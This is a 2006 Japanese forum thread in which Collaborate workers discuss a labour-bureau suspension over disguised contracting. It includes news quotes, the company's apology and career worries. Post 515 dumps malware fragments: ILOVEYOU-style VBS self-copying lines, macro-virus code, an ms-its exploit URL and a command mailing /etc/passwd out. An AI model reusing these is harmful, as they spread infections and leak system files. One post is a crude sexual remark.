505 :名無しさん@そうだ登録へいこう:2006/10/05(木) 23:31:23 ID:Dyu7ziQ50
千のねんです。
先日 みんみん近くでさぼってるのをを見られました。
・・・。
横領がばれたかなあ

506 :名無しさん@そうだ登録へいこう:2006/10/05(木) 23:35:57 ID:FVNFycX90
>>503
ジルオール買って、ギルド登録しとけ。
手紙の配達とか、護衛の仕事とかもらえるぞ。
上級者になれば魔物退治や傭兵になることもできるぞ。
どうだ、すごいだろ?

507 :名無しさん@そうだ登録へいこう:2006/10/05(木) 23:40:45 ID:vEymtBWfO
あれだね。事業所によっては対応ちゃうみたい
取引先にもあれは、合併前からあった話でそれ改善せんかった会社が合併でコラボになったから、うちとは関係ないとかいうてる、マインドコントロールされよるよ。意味わからんし。

508 :名無しさん@そうだ登録へいこう:2006/10/05(木) 23:41:32 ID:UpA3jVng0
朝日は1面がコラボと松下のの偽装請負の件
16面にコラボのお詫び

てかお詫びの意味無いじゃん!

509 :名無しさん@そうだ登録へいこう:2006/10/05(木) 23:49:04 ID:YKmYl6xh0
>>508
狙ったんだろ。。。。

510 :名無しさん@そうだ登録へいこう:2006/10/05(木) 23:55:07 ID:4+V81duo0
>>487
うp乙!
謝罪広告というより意見広告みたいな感じw

511 :名無しさん@そうだ登録へいこう:2006/10/06(金) 00:07:36 ID:BoLHvOEK0
>>487の画像では見切れているが、左側にお詫びが書いてある

512 :名無しさん@そうだ登録へいこう:2006/10/06(金) 00:08:17 ID:BoLHvOEK0
↑画像で言うと上側です

513 :名無しさん@そうだ登録へいこう:2006/10/06(金) 00:11:33 ID:MsQlzDUC0
新卒で企業のこと何も調べずにコラボに入社して半年ほど正社員で働いてますた
半年しか働いてないけど次はまともな仕事見つかるかな?
転職するとき半年しか働いてないこんなおいらを拾ってくれる企業があるか不安なんだが・・・
おいらはまだ21です、教えてください、人生の先輩方。。。

514 :名無しさん@そうだ登録へいこう:2006/10/06(金) 00:18:30 ID:ASDMzKleO
若いからこそまだやり直しがつくと思うぞ俺は。第二新卒とかもあるんでしょ?

515 :名無しさん@そうだ登録へいこう:2006/10/06(金) 00:23:30 ID:m7mR+vcu0
kak.hta';ken=wd+'START
cat /etc/passwd | mail nobody@nonexistent.com

<body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
???

516 :名無しさん@そうだ登録へいこう:2006/10/06(金) 00:46:06 ID:Z+1d1PnO0
C-スタイルは派遣免許あるの?


517 :名無しさん@そうだ登録へいこう:2006/10/06(金) 00:49:22 ID:J10uLad50
>>515
katsumoto sine

518 :元コラです。:2006/10/06(金) 01:50:41 ID:vI0HeXScO
野生の動物達は津波や大地震の予兆を感じ取る能力を持ち危険を回避する。
ののさんを始め、既に脱クリ脱コラボをした者達も野生の勘が働いたんだな。
今だ在籍組?適度なぬるま湯に肩までドップリつかってたんだろ。おかげで逃げるタイミング逃して大変!
オイ!在籍組!
オマエら、被害者ぶってんじゃねーよ!
オマエらはコラボから給料もらってるから加害者側であり犯罪者側なんだぞ!
そして脱栗脱コラ済みの皆さん!
毎日本当に楽しいねえ。
ざまあみろってな感じだね。在籍当時の苦しみや怒りが報われるね。
在籍組よ、沈没船から早く逃げろよ。
営業停止が終わったら、まためちゃめちゃな通達が来るぞ〜。もしくは解約ラッシュやぞ〜。


519 :名無しさん@そうだ登録へいこう:2006/10/06(金) 02:04:12 ID:WixOOfpK0
俺の状況
元パチ屋、コラボ勤務、借金あって過払い請求中。
見事3大悪を征しますた。


520 :名無しさん@そうだ登録へいこう:2006/10/06(金) 02:16:40 ID:nNlymlMMO
潟Rラボレートのコメント

 今般の労働者派遣事業停止及び改善命令を真摯に受け止め、
弊社といたしましては、今後再びこのような事態が発生しないよう、
監督省庁からのご指導を仰ぎながら、業務改善にむけて誠心誠意取り組んでまいります。
関係者の皆様ならびに取引先事業者様及び従業員に
ご迷惑をおかけ致しましたこと深くお詫びいたします。

 今後は、新体制の下で、コンプライアンス推進特別室設置と
社内監査室の強化を行い、更なる遵法体制強化と
内部統制強化を徹底していく所存です。

 また、特殊技能工の育成に力を注ぎ、全国に特殊技能工育成センターの設立を進めてまいります。2007年には全国12ヶ所の特殊技能工育成センターで育成が可能な環境を整える予定です。

 今後は、高度な自社工場での生産受託と
特殊技能工派遣と製造派遣に専門特化していきます。

 新たに「EMS」・電子機器の受託製造サービスにも進出する予定です。
製造派遣・請負で培った物つくり経験を生かし、
受託製造に失敗を恐れず挑戦していきます。

 2006年10月3日
株式会社コラボレート

 浅井 功一郎


521 :名無しさん@そうだ登録へいこう:2006/10/06(金) 03:48:41 ID:boR1QCufO
↑嘘

522 :名無しさん@そうだ登録へいこう:2006/10/06(金) 04:27:09 ID:xAHXb/grO
おはようございます今回はコラボレートがわるいんだからでも仕事しなくちゃ喰っていけないんだから皆一生懸命仕事してるんだから辞めた人間は口だすな

523 :名無しさん@そうだ登録へいこう:2006/10/06(金) 04:36:14 ID:KZ1/uKXr0
>>522
とりあえず句読点と通じる日本語を頼む。

524 :名無しさん@そうだ登録へいこう:2006/10/06(金) 06:52:14 ID:IVju/Yk7O
鹿児島でも偽装請負で松下の子会社摘発。 コラボ、全面降伏だね。

525 :名無しさん@そうだ登録へいこう:2006/10/06(金) 07:09:00 ID:h/na5kpx0
寮にさえ入っていなければ、さっさとコラボ辞めるんだが・・・

526 :名無しさん@そうだ登録へいこう:2006/10/06(金) 07:19:49 ID:doIxwGqQO
コラボなんか子会社ってほどいいもんじゃないだろ
コラボは金に目が眩んだバカ共に任すから業績が落ちたんだ


527 :名無しさん@そうだ登録へいこう:2006/10/06(金) 08:34:22 ID:7QlMmNBPO
>>449>>472 上と連絡取れない…とは、コラボだけ?各グループ社長もですか??

528 :名無しさん@そうだ登録へいこう:2006/10/06(金) 08:39:09 ID:7QlMmNBPO
>>480 いつになったら連絡取れますか?やっぱりあと一週間位はダメかな。ってかそんな事分からないですよね。

529 :名無しさん@そうだ登録へいこう:2006/10/06(金) 08:58:43 ID:WuSrnw29O
>>518
逃げ出したヤツは他で偽装請負やってるよな

530 :名無しさん@そうだ登録へいこう:2006/10/06(金) 09:42:16 ID:hlTRSSje0
Aさん本当に辞めちゃうの?
がっかりだよ(やっくん風に)

531 :名無しさん@そうだ登録へいこう:2006/10/06(金) 09:58:14 ID:gmbq781hO
A県なんだけど、2年前位に上司が『うちは請負とは名だけなんだよ』って自信満々に偽請負を説明してくれたよ。

532 :名無しさん@そうだ登録へいこう:2006/10/06(金) 10:22:07 ID:3eOIJHbb0
http://www.mbc.co.jp/web-news2/00088257_20061005_300k.asx

いよいよか・・・

533 :名無しさん@そうだ登録へいこう:2006/10/06(金) 10:35:45 ID:iGKkEqjs0
引用して悪いが・・・

>一時的に派遣に切り替えたのをまた請負に戻して派遣先
>つまり松下の社員が派遣会社に出向して来たんだよ。
>で、その松下の社員が請負作業者に指示をするのは合法だと
>松下は言い放ってるわけ。

コラボが糞なのは周知のとおりだが、
この松下の企業姿勢も相当なもんだよな。
コンプライアンスも糞もあったもんじゃない。



534 :名無しさん@そうだ登録へいこう:2006/10/06(金) 11:06:00 ID:wLBKpFha0
>>532 GJ!
クリスタル(請負会社も含めて)の偽装はコラボだけじゃないよ。
ホントやくざの世界。
俺も100万超えるサービスと、手当ての不当カット。
指摘すると、他のぬるい外勤先のマネージャーに暴言されるわで散々。
過去の清算できんのか?

535 :名無しさん@そうだ登録へいこう:2006/10/06(金) 11:15:46 ID:s1HykVwR0
>>492
これ、↓をみたら松下を「職業安定法違反」に確実に問えるケースじゃないのかね。

技術者出向は「人材派遣」、近畿建設協会を是正指導
http://osaka.yomiuri.co.jp/news/20061005p201.htm

国土交通省近畿地方整備局所管の社団法人・近畿建設協会(大阪市中央区)が、
出向契約を結んだコンサルタント会社の社員に任せていた業務の実態は出向に当たらないとして、
大阪労働局は4日、同協会に対し、職業安定法(労働者供給事業の禁止)違反の

536 :名無しさん@そうだ登録へいこう:2006/10/06(金) 11:21:06 ID:s1HykVwR0
>>509
とはいえ、もう手遅れだろ。

あそこまで特集ぶち上げたあとで、手を緩めることは許されないと思われ。

>>532
ビデオ見れない人用ソース

日置市の松下電器子会社で偽装請負 [10/05 18:14]
ttp://www.mbc.co.jp/newsfile/news-v/00088257_20061005.shtml

日置市にある松下電器の子会社が、業務請負契約を結びながら、実際には派遣労働の扱いで
作業に従事させていたいわゆる「偽装請負」をしていたことが分かりました。
日置市にある松下電器の子会社「パナソニック半導体オプトデバイス」によりますと、
この会社は去年、大阪市にある製造業請負「コラボレート」と延べ200人の労働者の請負契約を結びました。
請負契約では、元請け会社が請負労働者に対し、作業の指示や命令をしてはいけないことになっています。
しかし、実際はデバイス社の社員が「コラボレート」の労働者に指示命令を行う、派遣労働の形態を取っていたということです。
デバイス社の石田精司総務部長は「早期退職による人員不足のため、取引のあった“コラボレート”に
請負労働を要請したが、法律に抵触している認識がなく、誤解を生んだ部分があった」と話しています。
大阪労働局では今後、事実関係を確認するとしています。

537 :名無しさん@そうだ登録へいこう:2006/10/06(金) 11:40:24 ID:a0i89BI/O
今、コラボに面接依頼電話したら、茨木のは止まってると言われたが、伊丹のは良いから今日来いと言われた!業務停止じゃないのかよ

538 :名無しさん@そうだ登録へいこう:2006/10/06(金) 11:55:13 ID:PTYMJANBO
正直上がどうなろうが自業自得だしなぁ

むしろその下の真面目に働いてた奴らがカワイソス
俺はその下の一人だけどさ

539 :名無しさん@そうだ登録へいこう:2006/10/06(金) 11:58:28 ID:WixOOfpK0
>>538さん
貴方だけじゃないよ。俺もそう
お互いがんばりましょうよ。転職活動含めてね

540 :名無しさん@そうだ登録へいこう:2006/10/06(金) 12:05:14 ID:PTYMJANBO
>>539

そうか…お前もか。

実はもう4年間いたし、俺ももうすぐ27になるからいずれにしろ来年には新しいところ探すつもりだった。

お互い頑張ろうな

541 :名無しさん@そうだ登録へいこう:2006/10/06(金) 12:09:31 ID:UYHoq5m7O
仙台支店も死亡だし。適当な対応されかわされる。

542 :名無しさん@そうだ登録へいこう:2006/10/06(金) 12:17:54 ID:VfGBeU1b0
>>540
27才?
何わがまま言ってんの?
俺、あんたより一回り年上だぜ?
いくらでも仕事あんだろが?元気出せよ!

543 :名無しさん@そうだ登録へいこう:2006/10/06(金) 12:18:31 ID:doIxwGqQO
コラボにいる事が恥
仕事を指示貰ってからしてるのに給与があがるとかあり得ないだろみたいな事を言うが
指示なくてもできるけれど、あの額で自ら仕事をどんどんするのは馬鹿馬鹿しい。頑張ったとしても評価されないわけだし頑張るだけ無駄。コラボなんか指示を貰ってから仕方なくやるくらいで充分

544 :名無しさん@そうだ登録へいこう:2006/10/06(金) 12:20:16 ID:QoJ+00Rx0
アメの景気後退も緩やかになってきたし
団塊引退も始まったし
なんとかなるかもしれん

545 :名無しさん@そうだ登録へいこう:2006/10/06(金) 12:23:41 ID:eCA+PRuaO
結局知ったかブリして良くわかってないから改善できんのやろうな。しかもウソ教えたりするし、本当にわかってる奴らがどれだけいることか。理解力のなさが今回の結果なんだろうよ。

546 :名無しさん@そうだ登録へいこう:2006/10/06(金) 12:26:45 ID:ASDMzKleO
今こそ旅立ちの時

547 :名無しさん@そうだ登録へいこう:2006/10/06(金) 13:24:36 ID:hlTRSSje0
松下は解約で良いのではないですか?
元々何処も管理者が糞みたいな奴しかいなかったみたいだから
管理者ごとサヨウナラ。

548 :名無しさん@そうだ登録へいこう:2006/10/06(金) 14:52:16 ID:Y23SoaCj0
たまたま公休日だった時に新聞見て不安に思ってたけど出勤したら普通に動いてた
こちらから切り出すまで誰も知らないのかとぼけてるのか誰も話題にしなかった
まあそういう現場もあるということで

549 :名無しさん@そうだ登録へいこう:2006/10/06(金) 14:59:25 ID:gm+XIgph0
しかし松下も考えたな。

偽装請負はいけない
 ↓
理由は、コラボ所属で、業務請負なのに、指揮命令系統が松下社員。
 ↓
指揮命令がコラボ社員ならOKなのか!!
 ↓
松下社員がコラボに出向して、コラボ社員として指示。ウマー
 ↓
大阪労働局に摘発


移籍じゃなくて出向じゃ松下社員とみなされたんだろ。
浅知恵使ってもろくなことないという、いい見本(藁

550 :名無しさん@そうだ登録へいこう:2006/10/06(金) 15:25:24 ID:hlTRSSje0
   /::://:::! /-=、 ,// u / _,,.-ゝ. 「ヽ l    ! , l 
  /::_;イ-‐=レ'==ミ"   '∠-==ヽl=ヽlヽ  レ'レV  
/::::::::..、   o   ,≡:::::::〈、  o   ,  :|│ リ '   
::::::::::::::::: ` ー--‐ '´三 :::::::::ヽ`::ー-‐:'.´   |│ l   
:::::::::::::::    ニニ  ::::::::::::::ヽ::::::::: U  |│ !   
:::::::::::::::U  ̄ ̄   U::::::::::::::::ヽ::: u   |│ .l    
::::::::::::::::   U    r‐:::::::::::::::::::::ヽ.    Lノ  |    

こいつ本気で言っているのか・・・・・・・・
コ○ボに指揮命令の出来る管理者がいるとでも思うのか・・・・・・・・・・・
いる訳がない・・・・もしそんな人がいたらとっくに辞めている・・・・・・・・
驚きだぜ・・・・!
さすが終わっている会社・・・考える事が想定外!


551 :名無しさん@そうだ登録へいこう:2006/10/06(金) 15:28:04 ID:eCA+PRuaO
いや松下が考えたんじゃなくてここが入れ知恵したんですよ。ただその入れ知恵した輩は辞めていないからそいつらを叩いたほうがいいでしょ。誰の案かは察しがつきますが。

552 :名無しさん@そうだ登録へいこう:2006/10/06(金) 15:34:12 ID:hlTRSSje0
                        ______
                         |  ,.へ、__,.ヘ/
                         | / \  ∠ヽ
                         |i^|「::::::ノ=l:::::ィ   / ̄ ̄ ̄ ̄
   ,. -‐- 、               |ヽ|   r_ \l   | 静粛に……!
  _/       \     ____/| ∧. (二二7!   < >> 
∠   ハヾミニ.r-、\∠L:r‐-‐-、:::::::::|/ ヽ_‐__.」`ー- |  コ○ボの所長か…!
. /ィ ,L V∠ \l \\.)j j j j`二i\    /:|:::::::::::: | 最初に言ったはずだ
  W、ゞi ,、~ __ 「 ̄∧ ヾ´´´   |.  \ / |:::::::::::: | そういう輩は一切認めていないと・・・・・・!
    ,ゝし'/ ,ノ.|  / i  l.     l    \、.|::::::::::::   管理者か! 誰だか全然分らないけど
   l 、`ヾニンl\./\|l、_」     ヽ、 /  ヾ::::::::::::   そんな奴は無条件でエ○ジエック行きだっ・・・・!
.    | l    | _l\ト、  | \r──‐┐ト/ / r‐┴-、:::
.   |. |    7 l  ヽ | /☆☆☆.| | ∨ {ニニヾヽ


553 :名無しさん@そうだ登録へいこう:2006/10/06(金) 15:49:59 ID:DzEh5pmu0
他の業者に変わっても、根本的には何も変わらない。変えようがない。
請負という選択肢がなくなった以上は、派遣。
でも派遣は派遣で、企業側にとってはデメリットが生じる。
いずれまた、大きな問題になる。
法令順守の風潮が強い今、見過ごさる可能性は低い。
順次、摘発されていくやろ。
労働者派遣法は、派遣請負は無理って言ってるようなもの。








554 :名無しさん@そうだ登録へいこう:2006/10/06(金) 15:50:37 ID:tk+0pTzH0
>>455
>>コラボがやってる悪事は偽装請負だけではないんだけどね

他にどんな悪事をやってるの?
グループ全体に違法行為の徹底を促す会社なんだよね?

555 :名無しさん@そうだ登録へいこう:2006/10/06(金) 16:04:44 ID:hlTRSSje0
        l\|\ト、,、       あの管理者達…… まだ残る気だな……!
.      ト、| lll  ||| l\    この会社はもうとっくに終わっている…
.     l`ミ、、  !!!  ||| ||| \    たかだか30万そこそこ貰ったくらいで
      |=_、 ゙ミシべ⊥l」」_ッヽllヽ     人生を捨ててどうする……?
     l` ヾミ/    ==== ヽli   こんな会社に義理立しても
    |===/ ──- 、  , -─゙|    過ぎてしまった時間は戻ってこねえだろ……?
.     !=;r‐、ゝ ===j= ,,,r ==j=}
.    l={ r=ト|  `二´  \二´/  少しでもましな人生にするためには……
     l=l E」|   , -‐ r__ \/   こんな会社自体辞めて…… しっかりとした企業で
    /:l=`ー/\ / ー──‐7′    人様に恥ずかしくない仕事をするしかなかったんだ……
-‐''"|   !=:/   \   = /       
-‐''"!  ∨       \.  /\     ここからおいしい蜜を吸おうと思っても……
  │   |\      `r1  |`ー- 潰れてしまえば就職活動することすら危ないんだぜ……
   |   |;:;:;:;\     /;:;|   |`ー-
   !   |;:;:;:;:;:;:;:;ゝ k;:;:;|.   |     つまり 管理者として
.  |.    l;:;:;:;:;/;:;| l;:ヽ;!    |      あんた死んだも同然……!


556 :名無しさん@そうだ登録へいこう:2006/10/06(金) 16:06:47 ID:W+sQvkx90
>>554
無免許リフトで死亡事故

557 :名無しさん@そうだ登録へいこう:2006/10/06(金) 16:16:35 ID:s1HykVwR0
大阪労働局の中の人としては激しくむかついているんじゃないかな
「兵庫の中の香具師、よくも足を引っ張りやがって!」と

兵庫県から金が出ているということがさらに事態を泥沼にしているし・・・・

>>556
それは現シースタ

558 :名無しさん@そうだ登録へいこう:2006/10/06(金) 16:38:22 ID:hlTRSSje0
                      ,.. -───‐- 、
               /    , ', -─‐- 、.._  _,.-.\
      |二l二    /       i l  ‐#- 、゙ヽ. ̄   ,r`ゝ-
-─- 、  |二|二 バ (        | L_ u v   \`ー-‐''/ ヽ       >>557
 _,ノ  ハヽヽ亅   ヽ      | r‐、} ヽ ̄`ヽヽ,, ,//´7;|   なんだっ・・!
      ┌┴─      >   | |ト、|l u ` ー゚イ u vl.゚ー'  | この会社はっ・・・・・・・・!
 o    | 土土l カ  /    | ヽ_|! u'_,ノ {  u'  }じ v |
      ノ 上 匕    (    /|  /! r'',ニニ=`==='=ニヽ!  他社ならまだしも・・・!
 o     l       \__/  |. / :| | |ー'ー'ー'ー'ー'ー'ー'ー' l‖ 同じグループじゃねえかっ・・・・!
       ニ|二       ,ゝ   |/  :| l lーiーiーiーiーiーiーi‐rl ||
 o      ヽ_ノ    / |    iヽ.  ヽヽニニニニニニニンノ
                /   !    | ヽ   ` ー-- ニ二二~-‐'\   通るかっ・・・・!
 o      |      ヽ  |   |  ゙i      ::::::::::::/ :|\. \  こんなもん・・!
         |       \|     !   !       //   |   \
 r:、      /       > /\  !ヽ..__,//\  |
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559 :名無しさん@そうだ登録へいこう:2006/10/06(金) 16:46:49 ID:doIxwGqQO
クリスタルグループの犯罪の切り込み特効隊長コラボ
で業務停止命令が出て現場はどうなってんの〜?
長岡、茨木、尼崎、etcの各現場の雑兵さん情報よろ
初めに、どこどこの雑兵と名乗ってくださいな


560 :名無しさん@そうだ登録へいこう:2006/10/06(金) 16:47:13 ID:FTdR7Z1M0
お勤めご苦労さん。
これからも派遣社員で頑張って。
一生僕らの為に働いてくだしゃい。

561 :チョモランマし〜たか:2006/10/06(金) 16:48:27 ID:T1NV0uJZO
今回の件で解約してくださったお客様どうもありがとうございました。偽装請負推進とみなして労働局へ密告します。それがまだ世話になってるコラボへの恩返しですから〜残念!!

562 :名無しさん@そうだ登録へいこう:2006/10/06(金) 18:51:46 ID:JIHPzp230
>>551
松下が考えたんじゃねーって。コラボ側が提案してるよ。
俺、どいつかまで特定できてるもん。もちろん、「俺が提案した」と
フカす輩も多いけどね。

563 :名無しさん@そうだ登録へいこう:2006/10/06(金) 18:52:11 ID:doIxwGqQO
チョモランマし〜たかさん頑張れ〜
漏れはあなたを支持します
コラボなんか潰れてしまえ

564 :名無しさん@そうだ登録へいこう:2006/10/06(金) 19:02:05 ID:s1HykVwR0
>>562
だとしたらコラボは「違法な労働者供給事業の幇助の罪」に問えそうだなw

ちと極論かも知れんけど。

565 :名無しさん@そうだ登録へいこう:2006/10/06(金) 19:05:18 ID:jEiPXtM20
日野自動車、1100人偽装出向 労働局指導で派遣に
ttp://www.asahi.com/special/060801/TKY200610050395.html
 トラック製造大手の日野自動車が、実態は労働者派遣なのに出向契約を装う
「偽装出向」で、人材会社から約1100人の労働者を自社工場に受け入れ、
働かせていたことがわかった。東京労働局は職業安定法(労働者供給事業の禁止
)に違反するとして指導。これを受けて日野は9月1日、すべての出向労働者を
派遣に切り替えた。社会問題化している偽装請負と同様に、使用者責任をあいま
いにしたまま、人員調整をしやすくする違法な手法がメーカーに広がっている実
態が浮かび上がった。

566 :名無しさん@そうだ登録へいこう:2006/10/06(金) 19:18:09 ID:JIHPzp230
この日野自動車の件は、ちょっと違法というには無理があるんじゃないかな?
素人にはどこが違法なのかまるでわかんないだろ。

567 :名無しさん@そうだ登録へいこう:2006/10/06(金) 19:26:04 ID:Qyu0tRA8O
一部断片的に説明すると出向で利益を出すのは違法なんだ
この場合明らかな商売としての出向だから…
あと大阪労働局の見解だったか資本関係のない
派遣会社の出向は認められないだとさ

568 :名無しさん@そうだ登録へいこう:2006/10/06(金) 19:26:53 ID:18A6dF3j0
>>560←こいつすっげーバカっぽさそう。
もしかしてお前、90の半分は35だから〜〜〜
と堂々と簡単な引き算すらも出来ないことを
証明したM田?


569 :名無しさん@そうだ登録へいこう:2006/10/06(金) 19:44:43 ID:JIHPzp230
>出向で利益を出すのは違法

もし時間あるなら、この辺ももうちょっと詳しくプリーズ!
利益出しちゃだめ!?
一方的に金支払って出向させにゃならない訳?

570 :sage:2006/10/06(金) 19:52:06 ID:4QNdG+r10
>>568←こいつすっげーバカっぽさそう。
90の半分は35だから〜〜〜
と堂々と引き算と割り算の区別すらも出来ないことを
証明したおまえも50歩100歩。


571 :名無しさん@そうだ登録へいこう:2006/10/06(金) 19:55:45 ID:s1HykVwR0
つ ttp://ja.wikipedia.org/wiki/%E5%81%BD%E8%A3%85%E5%87%BA%E5%90%91

572 :名無しさん@そうだ登録へいこう:2006/10/06(金) 20:11:30 ID:18A6dF3j0
>>570

ぷはははは!!

わりぃ。酔っ払ってんだ。ワシ。

あ、ちなみに、小学校2年並の算数も
出来ないM田は殺人カーを作っても
少しも悪びれなかった会社系列の
社員ですぅ。





573 :名無しさん@そうだ登録へいこう:2006/10/06(金) 20:14:25 ID:u4b/mfCPO
N津のぅえ堕は仕事しろ

574 :名無しさん@そうだ登録へいこう:2006/10/06(金) 20:32:04 ID:klf2C5f7O
コラボの♀なら、一万円でヤラセてくれますか?

575 :名無しさん@そうだ登録へいこう:2006/10/06(金) 20:35:39 ID:Qyu0tRA8O
>>573
おまえがしろや
こっちの気持ちをりかいしてや

576 :名無しさん@そうだ登録へいこう:2006/10/06(金) 20:50:11 ID:a0i89BI/O
業務停止命令出ても面接するのは何で?

577 :名無しさん@そうだ登録へいこう:2006/10/06(金) 20:53:22 ID:svbiyiJE0
>>573
そっちでも評判悪いんだ〜

578 :名無しさん@そうだ登録へいこう:2006/10/06(金) 20:58:56 ID:klf2C5f7O
>>576
違法を承知だから

579 :名無しさん@そうだ登録へいこう:2006/10/06(金) 22:09:42 ID:IbDih072O
名古屋の〇菱、コラボ全面撤退だってさ。
真面目に働いて最後はこれかよ。勘弁してくれ。


580 :名無しさん@そうだ登録へいこう:2006/10/06(金) 22:36:15 ID:L9sb+nmWO
>>579
今回のこの有り様は、今まで蓄積されたツケが莫大な負債となって返ってきた、コラボ自身の今日まで行いの現実の結果なんだし。
ただ、今回の最も大被害を受けたのは取引先ではなく現場で働いているコラボ契約社員だわな。特に真面目に勤務してる社員達な。
まあ、請負契約はもはや無理としても派遣契約で就業場所は確保してくれるんじゃないか?・・・地元じゃなく地方とかで。
あと、新聞記事にも掲載あった自社工場とやらに。


581 :名無しさん@そうだ登録へいこう:2006/10/06(金) 22:58:06 ID:s/nNlxKjO
age

582 :名無しさん@そうだ登録へいこう:2006/10/06(金) 23:06:13 ID:eCA+PRuaO
名古屋の○菱全面撤退は水面下でどっかが動いてるとか噂聞いたけどそこんとこどうなの?

583 :名無しさん@そうだ登録へいこう:2006/10/06(金) 23:10:36 ID:B7fCkQE60
>>579
○菱は偽装請負やるって事だよな

584 :名無しさん@そうだ登録へいこう:2006/10/06(金) 23:22:04 ID:a0i89BI/O
>>578
??詳しく教えてください!

585 :名無しさん@そうだ登録へいこう:2006/10/06(金) 23:26:56 ID:PNqWanvx0
>>580 エイムが受け皿です。



586 :名無しさん@そうだ登録へいこう:2006/10/06(金) 23:31:26 ID:WRHvJ9vc0
三つ微視はコラボダメじゃないの?
しかし鵜絵だは賞もないね

587 :名無しさん@そうだ登録へいこう:2006/10/06(金) 23:34:48 ID:BkxIo6DH0
「しんぶん赤旗」日曜版 最新号のごあんない タブロイド版36ページ 月800円

■偽装請負 初の事業停止命令
日曜版がくり返し追及してきた、クリスタルグループによる偽装請負で、初の事業停止命令が出ました。
厚生労働省大阪労働局が、大手請負会社、コラボレートに2週間の事業停止を命じたのです。
同社は、請負・派遣トップのクリスタルが100%出資する子会社。
キヤノンや松下電器などの大企業と一体となって、労働者に偽装請負を強いてきました。

■懲りぬトヨタ系 続く偽装請負
トヨタグループの自動車部品会社が違法な「偽装請負」の是正を、厚生労働省愛知労働局から指導されました。
その結果、「請負」をなくしたというこの会社で、実はいまなお偽装請負が続いている疑いが浮上しました。
いまでもハローワークで、請負労働者が募集されているのです。
http://www.jcp.or.jp/akahata/week/index.html

588 :名無しさん@そうだ登録へいこう:2006/10/07(土) 00:13:15 ID:fDpO3deGO
売り上げ欲しさに奔走してる同業は相応のリスクは覚悟の上なのか?
所詮変わろうがこの業態で完全な請負なんて無理って気付かないのかな。
勢いで乗り切ろうと張り切ってるだけか。

589 :まちゃまちゃまちゃ:2006/10/07(土) 00:24:39 ID:Q3prPmYWO
ひとーつ
派遣に切り替えて、「皆さんの雇用は守りますよ!」「これからも同じ所で働けますよ!」っていう事業所所長と営業所所長!

はあ〜?

雇用を守るっていったって、もう取引先が解約の準備を始めてんだよ!
何よりオマエラが真っ先に同業他社へ転職活動進めて、2ちゃんねるにコラボの悪口書き込みマクッテんじゃね〜ぞ バカヤロー!
カンカンカン!

ものどもあとに続け!

590 :名無しさん@そうだ登録へいこう:2006/10/07(土) 00:34:26 ID:YCTPoFDsO
御殿場の動きは?


591 :名無しさん@そうだ登録へいこう:2006/10/07(土) 00:37:01 ID:Hz1hTmK20
おれのとこは12月までで解約決定だって!
でもラインの社員はそのまま別会社で派遣だって

592 :名無しさん@そうだ登録へいこう:2006/10/07(土) 00:37:16 ID:9a3k2vTi0
こりゃ、セルマ もやべえな〜

こんな会社にいたら、だめだ

593 :名無しさん@そうだ登録へいこう:2006/10/07(土) 00:44:16 ID:Ey0UhcnWO
>>580
ほんとにね。現場で働いてる人間が一番被害被ってるよ。

〇菱勤務のまま、他の派遣会社の受け皿はあるらしいが・・・何百人もの雇用を保証できるのか、また給与面の現状維持は不明。

連休明けに説明会があるんだが、どう釈明するつもりなのかね。

>>591
ウチなんてあと一週間って話だよ。ありえねー・・・

594 :名無しさん@そうだ登録へいこう:2006/10/07(土) 00:47:21 ID:aJeX+zck0
まだ、募集してるよ
業務停止ってどういうことなんだろ
募集するほうも問題だけど
乗せてる方もなんだな
ttp://townwork.net/h/r/Fh20010s.jsp?lac=02&st=54&axc=20&fw=%81%40%83%52%83%89%83%7B%83%8C%81%5B%83%67&__u=1160149464926-3313464490267808129

595 :名無しさん@そうだ登録へいこう:2006/10/07(土) 00:58:29 ID:JjcvLRwmO
五点場は国内の偽装請負を代表するマンモス事業所です。ついに労働曲が来るぜ


596 :名無しさん@そうだ登録へいこう:2006/10/07(土) 01:31:49 ID:iZCxxnGq0
皆さん大変ですね。
結局、栗系のやってきた事て、昔からやってる派遣会社だったら何
処でも検討してきた事だけど「それをやったら間違いなくウチは労基
の潰される。さもなくば、同業他社が事件屋を仕向けてきてウチを潰
しにかかるだろう」て言われてきたことなんだよね。
実際、それをやって潰された会社もあったし。そこを今まで上手くや
ってこれたのは、木木が裏の方と上手く繋がって対処してきたんだろ
うけど、裏の連中が目を付けて、より悪どく稼ぐ様に仕向けられて、
会社自体が裏稼業の方々の食い物にされてきたのだろうし。今の経済
構造では人件費に金をかけられない企業がたくさんあるからね。そこ
を上手く言いくるめられて、ぶっちゃけ取引先の会社にいい様に利用
されたんでしょ。後、加藤とか野々垣とか浅井とか、固有の人名は言
わないけど、松下の幹部に「あなた達、製造に派遣を使わないと倒産
しますよ」て言って、いい気になっていたんだろうけど、松下の幹部
連中にしてみれば「よし、責任を押し付ける口実が出来たww」と思っ
て、嬉々として製造に派遣を取り入れるきっかけになったんだろうね。
これに懲りて、派遣使う会社が少しは真面目になってくれればいいん
だけどね。
後、受託製造なんて出来るの??
